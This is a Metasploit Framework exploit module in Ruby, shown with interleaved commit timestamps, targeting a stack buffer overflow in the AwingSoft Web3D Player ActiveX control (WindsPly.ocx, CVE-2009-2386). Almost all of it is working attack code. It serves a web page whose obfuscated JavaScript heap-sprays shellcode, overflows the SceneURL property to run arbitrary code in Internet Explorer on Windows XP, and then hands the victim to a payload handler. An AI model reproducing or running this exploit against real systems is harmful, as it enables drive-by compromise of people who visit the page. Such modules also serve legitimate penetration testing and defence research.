2009-11-14 04:36:20 +00:00
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###
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## This file is part of the Metasploit Framework and may be subject to
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## redistribution and commercial restrictions. Please see the Metasploit
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## Framework web site for more information on licensing and terms of use.
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## http://metasploit.com/framework/
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###
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##
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# awingsoft_web3d_bof.rb
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#
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# AwingSoft Web3D Player 'SceneURL()' Buffer Overflow exploit for the Metasploit Framework
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#
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# Tested successfully on the following platforms:
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# - Internet Explorer 6, Windows XP SP2
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# - Internet Explorer 7, Windows XP SP3
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#
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# WindsPly.ocx versions tested:
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# - 3.5.0.0
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#
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# Trancer
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# http://www.rec-sec.com
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AwingSoft Web3D Player SceneURL() Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow within Winds3D Viewer of
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AwingSoft Awakening 3.0 (WindsPly.ocx v3.5.0.0). This ActiveX is a plugin of
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AwingSoft Web3D Player.
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By setting an overly long value to 'SceneURL()', an attacker can overrun a buffer
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and execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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2009-11-14 04:39:00 +00:00
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'shinnai <shinnai[at]autistici.org>', # Original exploit [see References]
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2009-11-14 04:36:20 +00:00
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'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation
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],
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2009-11-14 04:38:03 +00:00
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'Version' => '$Revision$',
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2009-11-14 04:36:20 +00:00
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'References' =>
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[
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2009-11-14 04:42:02 +00:00
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[ 'CVE', '2009-2386' ],
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[ 'BID', '35595' ],
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[ 'OSVDB', '55863' ],
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2009-11-14 04:36:20 +00:00
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[ 'URL', 'http://www.milw0rm.com/exploits/9116' ],
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[ 'URL', 'http://www.shinnai.net/xplits/TXT_nsGUdeley3EHfKEV690p.html' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 8704 } ]
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],
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'DisclosureDate' => 'Jul 10 2009',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Setup exploit buffers
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nops = Rex::Text.to_unescape([target.ret].pack('V'))
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2009-11-14 04:38:03 +00:00
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ret = Rex::Text.uri_encode([target.ret].pack('V'))
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2009-11-14 04:36:20 +00:00
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blocksize = 0x40000
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fillto = 500
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offset = target['Offset']
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# Randomize the javascript variable names
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winds3d = rand_text_alpha(rand(100) + 1)
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j_shellcode = rand_text_alpha(rand(100) + 1)
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j_nops = rand_text_alpha(rand(100) + 1)
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j_ret = rand_text_alpha(rand(100) + 1)
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j_headersize = rand_text_alpha(rand(100) + 1)
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j_slackspace = rand_text_alpha(rand(100) + 1)
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j_fillblock = rand_text_alpha(rand(100) + 1)
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j_block = rand_text_alpha(rand(100) + 1)
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j_memory = rand_text_alpha(rand(100) + 1)
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j_counter = rand_text_alpha(rand(30) + 2)
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j_buf = rand_text_alpha(offset)
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html = %Q|<html>
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<object classid='clsid:17A54E7D-A9D4-11D8-9552-00E04CB09903' id='#{winds3d}'></object>
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<script>
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#{j_shellcode}=unescape('#{shellcode}');
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#{j_nops}=unescape('#{nops}');
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#{j_headersize}=20;
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#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
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while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
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#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
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#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
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while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
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#{j_memory}=new Array();
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for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
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var #{j_ret} = unescape('#{ret}');
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#{winds3d}.SceneURL = '#{j_buf}' + #{j_ret};
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</script>
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</html>|
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response(cli, html, { 'Content-Type' => 'text/html' })
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# Handle the payload
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handler(cli)
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end
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end
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